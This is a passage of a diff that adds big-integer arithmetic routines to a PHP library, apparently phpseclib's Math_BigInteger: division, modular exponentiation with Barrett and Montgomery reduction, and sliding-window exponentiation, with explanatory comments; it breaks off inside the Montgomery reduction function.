+     * Returns an array whose first element contains the quotient and whose second element contains the
+     * "common residue".  If the remainder would be positive, the "common residue" and the remainder are the
+     * same.  If the remainder would be negative, the "common residue" is equal to the sum of the remainder
+     * and the divisor (basically, the "common residue" is the first positive modulo).
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('10');
+     *    $b = new Math_BigInteger('20');
+     *
+     *    list($quotient, $remainder) = $a->divide($b);
+     *
+     *    echo $quotient->toString(); // outputs 0
+     *    echo "\r\n";
+     *    echo $remainder->toString(); // outputs 10
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $y
+     * @return Array
+     * @access public
+     * @internal This function is based off of {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=9 HAC 14.20}.
+     */
+    function divide($y)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $quotient = new Math_BigInteger();
+                $remainder = new Math_BigInteger();
+
+                list($quotient->value, $remainder->value) = gmp_div_qr($this->value, $y->value);
+
+                if (gmp_sign($remainder->value) < 0) {
+                    $remainder->value = gmp_add($remainder->value, gmp_abs($y->value));
+                }
+
+                return array($this->_normalize($quotient), $this->_normalize($remainder));
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $quotient = new Math_BigInteger();
+                $remainder = new Math_BigInteger();
+
+                $quotient->value = bcdiv($this->value, $y->value, 0);
+                $remainder->value = bcmod($this->value, $y->value);
+
+                if ($remainder->value[0] == '-') {
+                    $remainder->value = bcadd($remainder->value, $y->value[0] == '-' ? substr($y->value, 1) : $y->value, 0);
+                }
+
+                return array($this->_normalize($quotient), $this->_normalize($remainder));
+        }
+
+        if (count($y->value) == 1) {
+            list($q, $r) = $this->_divide_digit($this->value, $y->value[0]);
+            $quotient = new Math_BigInteger();
+            $remainder = new Math_BigInteger();
+            $quotient->value = $q;
+            $remainder->value = array($r);
+            $quotient->is_negative = $this->is_negative != $y->is_negative;
+            return array($this->_normalize($quotient), $this->_normalize($remainder));
+        }
+
+        static $zero;
+        if ( !isset($zero) ) {
+            $zero = new Math_BigInteger();
+        }
+
+        $x = $this->copy();
+        $y = $y->copy();
+
+        $x_sign = $x->is_negative;
+        $y_sign = $y->is_negative;
+
+        $x->is_negative = $y->is_negative = false;
+
+        $diff = $x->compare($y);
+
+        if ( !$diff ) {
+            $temp = new Math_BigInteger();
+            $temp->value = array(1);
+            $temp->is_negative = $x_sign != $y_sign;
+            return array($this->_normalize($temp), $this->_normalize(new Math_BigInteger()));
+        }
+
+        if ( $diff < 0 ) {
+            // if $x is negative, "add" $y.
+            if ( $x_sign ) {
+                $x = $y->subtract($x);
+            }
+            return array($this->_normalize(new Math_BigInteger()), $this->_normalize($x));
+        }
+
+        // normalize $x and $y as described in HAC 14.23 / 14.24
+        $msb = $y->value[count($y->value) - 1];
+        for ($shift = 0; !($msb & MATH_BIGINTEGER_MSB); ++$shift) {
+            $msb <<= 1;
+        }
+        $x->_lshift($shift);
+        $y->_lshift($shift);
+        $y_value = &$y->value;
+
+        $x_max = count($x->value) - 1;
+        $y_max = count($y->value) - 1;
+
+        $quotient = new Math_BigInteger();
+        $quotient_value = &$quotient->value;
+        $quotient_value = $this->_array_repeat(0, $x_max - $y_max + 1);
+
+        static $temp, $lhs, $rhs;
+        if (!isset($temp)) {
+            $temp = new Math_BigInteger();
+            $lhs =  new Math_BigInteger();
+            $rhs =  new Math_BigInteger();
+        }
+        $temp_value = &$temp->value;
+        $rhs_value =  &$rhs->value;
+
+        // $temp = $y << ($x_max - $y_max-1) in base 2**26
+        $temp_value = array_merge($this->_array_repeat(0, $x_max - $y_max), $y_value);
+
+        while ( $x->compare($temp) >= 0 ) {
+            // calculate the "common residue"
+            ++$quotient_value[$x_max - $y_max];
+            $x = $x->subtract($temp);
+            $x_max = count($x->value) - 1;
+        }
+
+        for ($i = $x_max; $i >= $y_max + 1; --$i) {
+            $x_value = &$x->value;
+            $x_window = array(
+                isset($x_value[$i]) ? $x_value[$i] : 0,
+                isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0,
+                isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0
+            );
+            $y_window = array(
+                $y_value[$y_max],
+                ( $y_max > 0 ) ? $y_value[$y_max - 1] : 0
+            );
+
+            $q_index = $i - $y_max - 1;
+            if ($x_window[0] == $y_window[0]) {
+                $quotient_value[$q_index] = MATH_BIGINTEGER_MAX_DIGIT;
+            } else {
+                $quotient_value[$q_index] = $this->_safe_divide(
+                    $x_window[0] * MATH_BIGINTEGER_BASE_FULL + $x_window[1],
+                    $y_window[0]
+                );
+            }
+
+            $temp_value = array($y_window[1], $y_window[0]);
+
+            $lhs->value = array($quotient_value[$q_index]);
+            $lhs = $lhs->multiply($temp);
+
+            $rhs_value = array($x_window[2], $x_window[1], $x_window[0]);
+
+            while ( $lhs->compare($rhs) > 0 ) {
+                --$quotient_value[$q_index];
+
+                $lhs->value = array($quotient_value[$q_index]);
+                $lhs = $lhs->multiply($temp);
+            }
+
+            $adjust = $this->_array_repeat(0, $q_index);
+            $temp_value = array($quotient_value[$q_index]);
+            $temp = $temp->multiply($y);
+            $temp_value = &$temp->value;
+            $temp_value = array_merge($adjust, $temp_value);
+
+            $x = $x->subtract($temp);
+
+            if ($x->compare($zero) < 0) {
+                $temp_value = array_merge($adjust, $y_value);
+                $x = $x->add($temp);
+
+                --$quotient_value[$q_index];
+            }
+
+            $x_max = count($x_value) - 1;
+        }
+
+        // unnormalize the remainder
+        $x->_rshift($shift);
+
+        $quotient->is_negative = $x_sign != $y_sign;
+
+        // calculate the "common residue", if appropriate
+        if ( $x_sign ) {
+            $y->_rshift($shift);
+            $x = $y->subtract($x);
+        }
+
+        return array($this->_normalize($quotient), $this->_normalize($x));
+    }
+
+    /**
+     * Divides a BigInteger by a regular integer
+     *
+     * abc / x = a00 / x + b0 / x + c / x
+     *
+     * @param Array $dividend
+     * @param Array $divisor
+     * @return Array
+     * @access private
+     */
+    function _divide_digit($dividend, $divisor)
+    {
+        $carry = 0;
+        $result = array();
+
+        for ($i = count($dividend) - 1; $i >= 0; --$i) {
+            $temp = MATH_BIGINTEGER_BASE_FULL * $carry + $dividend[$i];
+            $result[$i] = $this->_safe_divide($temp, $divisor);
+            $carry = (int) ($temp - $divisor * $result[$i]);
+        }
+
+        return array($result, $carry);
+    }
+
+    /**
+     * Performs modular exponentiation.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('10');
+     *    $b = new Math_BigInteger('20');
+     *    $c = new Math_BigInteger('30');
+     *
+     *    $c = $a->modPow($b, $c);
+     *
+     *    echo $c->toString(); // outputs 10
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $e
+     * @param Math_BigInteger $n
+     * @return Math_BigInteger
+     * @access public
+     * @internal The most naive approach to modular exponentiation has very unreasonable requirements, and
+     *    and although the approach involving repeated squaring does vastly better, it, too, is impractical
+     *    for our purposes.  The reason being that division - by far the most complicated and time-consuming
+     *    of the basic operations (eg. +,-,*,/) - occurs multiple times within it.
+     *
+     *    Modular reductions resolve this issue.  Although an individual modular reduction takes more time
+     *    then an individual division, when performed in succession (with the same modulo), they're a lot faster.
+     *
+     *    The two most commonly used modular reductions are Barrett and Montgomery reduction.  Montgomery reduction,
+     *    although faster, only works when the gcd of the modulo and of the base being used is 1.  In RSA, when the
+     *    base is a power of two, the modulo - a product of two primes - is always going to have a gcd of 1 (because
+     *    the product of two odd numbers is odd), but what about when RSA isn't used?
+     *
+     *    In contrast, Barrett reduction has no such constraint.  As such, some bigint implementations perform a
+     *    Barrett reduction after every operation in the modpow function.  Others perform Barrett reductions when the
+     *    modulo is even and Montgomery reductions when the modulo is odd.  BigInteger.java's modPow method, however,
+     *    uses a trick involving the Chinese Remainder Theorem to factor the even modulo into two numbers - one odd and
+     *    the other, a power of two - and recombine them, later.  This is the method that this modPow function uses.
+     *    {@link http://islab.oregonstate.edu/papers/j34monex.pdf Montgomery Reduction with Even Modulus} elaborates.
+     */
+    function modPow($e, $n)
+    {
+        $n = $this->bitmask !== false && $this->bitmask->compare($n) < 0 ? $this->bitmask : $n->abs();
+
+        if ($e->compare(new Math_BigInteger()) < 0) {
+            $e = $e->abs();
+
+            $temp = $this->modInverse($n);
+            if ($temp === false) {
+                return false;
+            }
+
+            return $this->_normalize($temp->modPow($e, $n));
+        }
+
+        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP ) {
+            $temp = new Math_BigInteger();
+            $temp->value = gmp_powm($this->value, $e->value, $n->value);
+
+            return $this->_normalize($temp);
+        }
+
+        if ($this->compare(new Math_BigInteger()) < 0 || $this->compare($n) > 0) {
+            list(, $temp) = $this->divide($n);
+            return $temp->modPow($e, $n);
+        }
+
+        if (defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) {
+            $components = array(
+                'modulus' => $n->toBytes(true),
+                'publicExponent' => $e->toBytes(true)
+            );
+
+            $components = array(
+                'modulus' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['modulus'])), $components['modulus']),
+                'publicExponent' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['publicExponent'])), $components['publicExponent'])
+            );
+
+            $RSAPublicKey = pack('Ca*a*a*',
+                48, $this->_encodeASN1Length(strlen($components['modulus']) + strlen($components['publicExponent'])),
+                $components['modulus'], $components['publicExponent']
+            );
+
+            $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
+            $RSAPublicKey = chr(0) . $RSAPublicKey;
+            $RSAPublicKey = chr(3) . $this->_encodeASN1Length(strlen($RSAPublicKey)) . $RSAPublicKey;
+
+            $encapsulated = pack('Ca*a*',
+                48, $this->_encodeASN1Length(strlen($rsaOID . $RSAPublicKey)), $rsaOID . $RSAPublicKey
+            );
+
+            $RSAPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" .
+                             chunk_split(base64_encode($encapsulated)) .
+                             '-----END PUBLIC KEY-----';
+
+            $plaintext = str_pad($this->toBytes(), strlen($n->toBytes(true)) - 1, "\0", STR_PAD_LEFT);
+
+            if (openssl_public_encrypt($plaintext, $result, $RSAPublicKey, OPENSSL_NO_PADDING)) {
+                return new Math_BigInteger($result, 256);
+            }
+        }
+
+        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH ) {
+                $temp = new Math_BigInteger();
+                $temp->value = bcpowmod($this->value, $e->value, $n->value, 0);
+
+                return $this->_normalize($temp);
+        }
+
+        if ( empty($e->value) ) {
+            $temp = new Math_BigInteger();
+            $temp->value = array(1);
+            return $this->_normalize($temp);
+        }
+
+        if ( $e->value == array(1) ) {
+            list(, $temp) = $this->divide($n);
+            return $this->_normalize($temp);
+        }
+
+        if ( $e->value == array(2) ) {
+            $temp = new Math_BigInteger();
+            $temp->value = $this->_square($this->value);
+            list(, $temp) = $temp->divide($n);
+            return $this->_normalize($temp);
+        }
+
+        return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_BARRETT));
+
+        // the following code, although not callable, can be run independently of the above code
+        // although the above code performed better in my benchmarks the following could might
+        // perform better under different circumstances. in lieu of deleting it it's just been
+        // made uncallable
+
+        // is the modulo odd?
+        if ( $n->value[0] & 1 ) {
+            return $this->_normalize($this->_slidingWindow($e, $n, MATH_BIGINTEGER_MONTGOMERY));
+        }
+        // if it's not, it's even
+
+        // find the lowest set bit (eg. the max pow of 2 that divides $n)
+        for ($i = 0; $i < count($n->value); ++$i) {
+            if ( $n->value[$i] ) {
+                $temp = decbin($n->value[$i]);
+                $j = strlen($temp) - strrpos($temp, '1') - 1;
+                $j+= 26 * $i;
+                break;
+            }
+        }
+        // at this point, 2^$j * $n/(2^$j) == $n
+
+        $mod1 = $n->copy();
+        $mod1->_rshift($j);
+        $mod2 = new Math_BigInteger();
+        $mod2->value = array(1);
+        $mod2->_lshift($j);
+
+        $part1 = ( $mod1->value != array(1) ) ? $this->_slidingWindow($e, $mod1, MATH_BIGINTEGER_MONTGOMERY) : new Math_BigInteger();
+        $part2 = $this->_slidingWindow($e, $mod2, MATH_BIGINTEGER_POWEROF2);
+
+        $y1 = $mod2->modInverse($mod1);
+        $y2 = $mod1->modInverse($mod2);
+
+        $result = $part1->multiply($mod2);
+        $result = $result->multiply($y1);
+
+        $temp = $part2->multiply($mod1);
+        $temp = $temp->multiply($y2);
+
+        $result = $result->add($temp);
+        list(, $result) = $result->divide($n);
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Performs modular exponentiation.
+     *
+     * Alias for Math_BigInteger::modPow()
+     *
+     * @param Math_BigInteger $e
+     * @param Math_BigInteger $n
+     * @return Math_BigInteger
+     * @access public
+     */
+    function powMod($e, $n)
+    {
+        return $this->modPow($e, $n);
+    }
+
+    /**
+     * Sliding Window k-ary Modular Exponentiation
+     *
+     * Based on {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=27 HAC 14.85} /
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=210 MPM 7.7}.  In a departure from those algorithims,
+     * however, this function performs a modular reduction after every multiplication and squaring operation.
+     * As such, this function has the same preconditions that the reductions being used do.
+     *
+     * @param Math_BigInteger $e
+     * @param Math_BigInteger $n
+     * @param Integer $mode
+     * @return Math_BigInteger
+     * @access private
+     */
+    function _slidingWindow($e, $n, $mode)
+    {
+        static $window_ranges = array(7, 25, 81, 241, 673, 1793); // from BigInteger.java's oddModPow function
+        //static $window_ranges = array(0, 7, 36, 140, 450, 1303, 3529); // from MPM 7.3.1
+
+        $e_value = $e->value;
+        $e_length = count($e_value) - 1;
+        $e_bits = decbin($e_value[$e_length]);
+        for ($i = $e_length - 1; $i >= 0; --$i) {
+            $e_bits.= str_pad(decbin($e_value[$i]), MATH_BIGINTEGER_BASE, '0', STR_PAD_LEFT);
+        }
+
+        $e_length = strlen($e_bits);
+
+        // calculate the appropriate window size.
+        // $window_size == 3 if $window_ranges is between 25 and 81, for example.
+        for ($i = 0, $window_size = 1; $e_length > $window_ranges[$i] && $i < count($window_ranges); ++$window_size, ++$i);
+
+        $n_value = $n->value;
+
+        // precompute $this^0 through $this^$window_size
+        $powers = array();
+        $powers[1] = $this->_prepareReduce($this->value, $n_value, $mode);
+        $powers[2] = $this->_squareReduce($powers[1], $n_value, $mode);
+
+        // we do every other number since substr($e_bits, $i, $j+1) (see below) is supposed to end
+        // in a 1.  ie. it's supposed to be odd.
+        $temp = 1 << ($window_size - 1);
+        for ($i = 1; $i < $temp; ++$i) {
+            $i2 = $i << 1;
+            $powers[$i2 + 1] = $this->_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode);
+        }
+
+        $result = array(1);
+        $result = $this->_prepareReduce($result, $n_value, $mode);
+
+        for ($i = 0; $i < $e_length; ) {
+            if ( !$e_bits[$i] ) {
+                $result = $this->_squareReduce($result, $n_value, $mode);
+                ++$i;
+            } else {
+                for ($j = $window_size - 1; $j > 0; --$j) {
+                    if ( !empty($e_bits[$i + $j]) ) {
+                        break;
+                    }
+                }
+
+                for ($k = 0; $k <= $j; ++$k) {// eg. the length of substr($e_bits, $i, $j+1)
+                    $result = $this->_squareReduce($result, $n_value, $mode);
+                }
+
+                $result = $this->_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1))], $n_value, $mode);
+
+                $i+=$j + 1;
+            }
+        }
+
+        $temp = new Math_BigInteger();
+        $temp->value = $this->_reduce($result, $n_value, $mode);
+
+        return $temp;
+    }
+
+    /**
+     * Modular reduction
+     *
+     * For most $modes this will return the remainder.
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @param Integer $mode
+     * @return Array
+     */
+    function _reduce($x, $n, $mode)
+    {
+        switch ($mode) {
+            case MATH_BIGINTEGER_MONTGOMERY:
+                return $this->_montgomery($x, $n);
+            case MATH_BIGINTEGER_BARRETT:
+                return $this->_barrett($x, $n);
+            case MATH_BIGINTEGER_POWEROF2:
+                $lhs = new Math_BigInteger();
+                $lhs->value = $x;
+                $rhs = new Math_BigInteger();
+                $rhs->value = $n;
+                return $x->_mod2($n);
+            case MATH_BIGINTEGER_CLASSIC:
+                $lhs = new Math_BigInteger();
+                $lhs->value = $x;
+                $rhs = new Math_BigInteger();
+                $rhs->value = $n;
+                list(, $temp) = $lhs->divide($rhs);
+                return $temp->value;
+            case MATH_BIGINTEGER_NONE:
+                return $x;
+            default:
+                // an invalid $mode was provided
+        }
+    }
+
+    /**
+     * Modular reduction preperation
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @param Integer $mode
+     * @return Array
+     */
+    function _prepareReduce($x, $n, $mode)
+    {
+        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
+            return $this->_prepMontgomery($x, $n);
+        }
+        return $this->_reduce($x, $n, $mode);
+    }
+
+    /**
+     * Modular multiply
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $y
+     * @param Array $n
+     * @param Integer $mode
+     * @return Array
+     */
+    function _multiplyReduce($x, $y, $n, $mode)
+    {
+        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
+            return $this->_montgomeryMultiply($x, $y, $n);
+        }
+        $temp = $this->_multiply($x, false, $y, false);
+        return $this->_reduce($temp[MATH_BIGINTEGER_VALUE], $n, $mode);
+    }
+
+    /**
+     * Modular square
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @param Integer $mode
+     * @return Array
+     */
+    function _squareReduce($x, $n, $mode)
+    {
+        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
+            return $this->_montgomeryMultiply($x, $x, $n);
+        }
+        return $this->_reduce($this->_square($x), $n, $mode);
+    }
+
+    /**
+     * Modulos for Powers of Two
+     *
+     * Calculates $x%$n, where $n = 2**$e, for some $e.  Since this is basically the same as doing $x & ($n-1),
+     * we'll just use this function as a wrapper for doing that.
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Math_BigInteger
+     * @return Math_BigInteger
+     */
+    function _mod2($n)
+    {
+        $temp = new Math_BigInteger();
+        $temp->value = array(1);
+        return $this->bitwise_and($n->subtract($temp));
+    }
+
+    /**
+     * Barrett Modular Reduction
+     *
+     * See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=14 HAC 14.3.3} /
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=165 MPM 6.2.5} for more information.  Modified slightly,
+     * so as not to require negative numbers (initially, this script didn't support negative numbers).
+     *
+     * Employs "folding", as described at
+     * {@link http://www.cosic.esat.kuleuven.be/publications/thesis-149.pdf#page=66 thesis-149.pdf#page=66}.  To quote from
+     * it, "the idea [behind folding] is to find a value x' such that x (mod m) = x' (mod m), with x' being smaller than x."
+     *
+     * Unfortunately, the "Barrett Reduction with Folding" algorithm described in thesis-149.pdf is not, as written, all that
+     * usable on account of (1) its not using reasonable radix points as discussed in
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=162 MPM 6.2.2} and (2) the fact that, even with reasonable
+     * radix points, it only works when there are an even number of digits in the denominator.  The reason for (2) is that
+     * (x >> 1) + (x >> 1) != x / 2 + x / 2.  If x is even, they're the same, but if x is odd, they're not.  See the in-line
+     * comments for details.
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $n
+     * @param Array $m
+     * @return Array
+     */
+    function _barrett($n, $m)
+    {
+        static $cache = array(
+            MATH_BIGINTEGER_VARIABLE => array(),
+            MATH_BIGINTEGER_DATA => array()
+        );
+
+        $m_length = count($m);
+
+        // if ($this->_compare($n, $this->_square($m)) >= 0) {
+        if (count($n) > 2 * $m_length) {
+            $lhs = new Math_BigInteger();
+            $rhs = new Math_BigInteger();
+            $lhs->value = $n;
+            $rhs->value = $m;
+            list(, $temp) = $lhs->divide($rhs);
+            return $temp->value;
+        }
+
+        // if (m.length >> 1) + 2 <= m.length then m is too small and n can't be reduced
+        if ($m_length < 5) {
+            return $this->_regularBarrett($n, $m);
+        }
+
+        // n = 2 * m.length
+
+        if ( ($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
+            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
+            $cache[MATH_BIGINTEGER_VARIABLE][] = $m;
+
+            $lhs = new Math_BigInteger();
+            $lhs_value = &$lhs->value;
+            $lhs_value = $this->_array_repeat(0, $m_length + ($m_length >> 1));
+            $lhs_value[] = 1;
+            $rhs = new Math_BigInteger();
+            $rhs->value = $m;
+
+            list($u, $m1) = $lhs->divide($rhs);
+            $u = $u->value;
+            $m1 = $m1->value;
+
+            $cache[MATH_BIGINTEGER_DATA][] = array(
+                'u' => $u, // m.length >> 1 (technically (m.length >> 1) + 1)
+                'm1'=> $m1 // m.length
+            );
+        } else {
+            extract($cache[MATH_BIGINTEGER_DATA][$key]);
+        }
+
+        $cutoff = $m_length + ($m_length >> 1);
+        $lsd = array_slice($n, 0, $cutoff); // m.length + (m.length >> 1)
+        $msd = array_slice($n, $cutoff);    // m.length >> 1
+        $lsd = $this->_trim($lsd);
+        $temp = $this->_multiply($msd, false, $m1, false);
+        $n = $this->_add($lsd, false, $temp[MATH_BIGINTEGER_VALUE], false); // m.length + (m.length >> 1) + 1
+
+        if ($m_length & 1) {
+            return $this->_regularBarrett($n[MATH_BIGINTEGER_VALUE], $m);
+        }
+
+        // (m.length + (m.length >> 1) + 1) - (m.length - 1) == (m.length >> 1) + 2
+        $temp = array_slice($n[MATH_BIGINTEGER_VALUE], $m_length - 1);
+        // if even: ((m.length >> 1) + 2) + (m.length >> 1) == m.length + 2
+        // if odd:  ((m.length >> 1) + 2) + (m.length >> 1) == (m.length - 1) + 2 == m.length + 1
+        $temp = $this->_multiply($temp, false, $u, false);
+        // if even: (m.length + 2) - ((m.length >> 1) + 1) = m.length - (m.length >> 1) + 1
+        // if odd:  (m.length + 1) - ((m.length >> 1) + 1) = m.length - (m.length >> 1)
+        $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], ($m_length >> 1) + 1);
+        // if even: (m.length - (m.length >> 1) + 1) + m.length = 2 * m.length - (m.length >> 1) + 1
+        // if odd:  (m.length - (m.length >> 1)) + m.length     = 2 * m.length - (m.length >> 1)
+        $temp = $this->_multiply($temp, false, $m, false);
+
+        // at this point, if m had an odd number of digits, we'd be subtracting a 2 * m.length - (m.length >> 1) digit
+        // number from a m.length + (m.length >> 1) + 1 digit number.  ie. there'd be an extra digit and the while loop
+        // following this comment would loop a lot (hence our calling _regularBarrett() in that situation).
+
+        $result = $this->_subtract($n[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false);
+
+        while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false) >= 0) {
+            $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false);
+        }
+
+        return $result[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * (Regular) Barrett Modular Reduction
+     *
+     * For numbers with more than four digits Math_BigInteger::_barrett() is faster.  The difference between that and this
+     * is that this function does not fold the denominator into a smaller form.
+     *
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @return Array
+     */
+    function _regularBarrett($x, $n)
+    {
+        static $cache = array(
+            MATH_BIGINTEGER_VARIABLE => array(),
+            MATH_BIGINTEGER_DATA => array()
+        );
+
+        $n_length = count($n);
+
+        if (count($x) > 2 * $n_length) {
+            $lhs = new Math_BigInteger();
+            $rhs = new Math_BigInteger();
+            $lhs->value = $x;
+            $rhs->value = $n;
+            list(, $temp) = $lhs->divide($rhs);
+            return $temp->value;
+        }
+
+        if ( ($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
+            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
+            $cache[MATH_BIGINTEGER_VARIABLE][] = $n;
+            $lhs = new Math_BigInteger();
+            $lhs_value = &$lhs->value;
+            $lhs_value = $this->_array_repeat(0, 2 * $n_length);
+            $lhs_value[] = 1;
+            $rhs = new Math_BigInteger();
+            $rhs->value = $n;
+            list($temp, ) = $lhs->divide($rhs); // m.length
+            $cache[MATH_BIGINTEGER_DATA][] = $temp->value;
+        }
+
+        // 2 * m.length - (m.length - 1) = m.length + 1
+        $temp = array_slice($x, $n_length - 1);
+        // (m.length + 1) + m.length = 2 * m.length + 1
+        $temp = $this->_multiply($temp, false, $cache[MATH_BIGINTEGER_DATA][$key], false);
+        // (2 * m.length + 1) - (m.length - 1) = m.length + 2
+        $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], $n_length + 1);
+
+        // m.length + 1
+        $result = array_slice($x, 0, $n_length + 1);
+        // m.length + 1
+        $temp = $this->_multiplyLower($temp, false, $n, false, $n_length + 1);
+        // $temp == array_slice($temp->_multiply($temp, false, $n, false)->value, 0, $n_length + 1)
+
+        if ($this->_compare($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]) < 0) {
+            $corrector_value = $this->_array_repeat(0, $n_length + 1);
+            $corrector_value[count($corrector_value)] = 1;
+            $result = $this->_add($result, false, $corrector_value, false);
+            $result = $result[MATH_BIGINTEGER_VALUE];
+        }
+
+        // at this point, we're subtracting a number with m.length + 1 digits from another number with m.length + 1 digits
+        $result = $this->_subtract($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]);
+        while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false) > 0) {
+            $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false);
+        }
+
+        return $result[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * Performs long multiplication up to $stop digits
+     *
+     * If you're going to be doing array_slice($product->value, 0, $stop), some cycles can be saved.
+     *
+     * @see _regularBarrett()
+     * @param Array $x_value
+     * @param Boolean $x_negative
+     * @param Array $y_value
+     * @param Boolean $y_negative
+     * @param Integer $stop
+     * @return Array
+     * @access private
+     */
+    function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop)
+    {
+        $x_length = count($x_value);
+        $y_length = count($y_value);
+
+        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
+            return array(
+                MATH_BIGINTEGER_VALUE => array(),
+                MATH_BIGINTEGER_SIGN => false
+            );
+        }
+
+        if ( $x_length < $y_length ) {
+            $temp = $x_value;
+            $x_value = $y_value;
+            $y_value = $temp;
+
+            $x_length = count($x_value);
+            $y_length = count($y_value);
+        }
+
+        $product_value = $this->_array_repeat(0, $x_length + $y_length);
+
+        // the following for loop could be removed if the for loop following it
+        // (the one with nested for loops) initially set $i to 0, but
+        // doing so would also make the result in one set of unnecessary adds,
+        // since on the outermost loops first pass, $product->value[$k] is going
+        // to always be 0
+
+        $carry = 0;
+
+        for ($j = 0; $j < $x_length; ++$j) { // ie. $i = 0, $k = $i
+            $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
+            $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+            $product_value[$j] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+        }
+
+        if ($j < $stop) {
+            $product_value[$j] = $carry;
+        }
+
+        // the above for loop is what the previous comment was talking about.  the
+        // following for loop is the "one with nested for loops"
+
+        for ($i = 1; $i < $y_length; ++$i) {
+            $carry = 0;
+
+            for ($j = 0, $k = $i; $j < $x_length && $k < $stop; ++$j, ++$k) {
+                $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
+                $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+                $product_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+            }
+
+            if ($k < $stop) {
+                $product_value[$k] = $carry;
+            }
+        }
+
+        return array(
+            MATH_BIGINTEGER_VALUE => $this->_trim($product_value),
+            MATH_BIGINTEGER_SIGN => $x_negative != $y_negative
+        );
+    }
+
+    /**
+     * Montgomery Modular Reduction
+     *
+     * ($x->_prepMontgomery($n))->_montgomery($n) yields $x % $n.
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=170 MPM 6.3} provides insights on how this can be
+     * improved upon (basically, by using the comba method).  gcd($n, 2) must be equal to one for this function
+     * to work correctly.
+     *
+     * @see _prepMontgomery()
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @return Array
+     */
+    function _montgomery($x, $n)
+    {
+        static $cache = array(
+            MATH_BIGINTEGER_VARIABLE => array(),
+            MATH_BIGINTEGER_DATA => array()
+        );
+
+        if ( ($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
+            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
+            $cache[MATH_BIGINTEGER_VARIABLE][] = $x;
+            $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($n);
+        }
+
+        $k = count($n);
+
+        $result = array(MATH_BIGINTEGER_VALUE => $x);
+
+        for ($i = 0; $i < $k; ++$i) {
+            $temp = $result[MATH_BIGINTEGER_VALUE][$i] * $cache[MATH_BIGINTEGER_DATA][$key];
+            $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
+            $temp = $this->_regularMultiply(array($temp), $n);
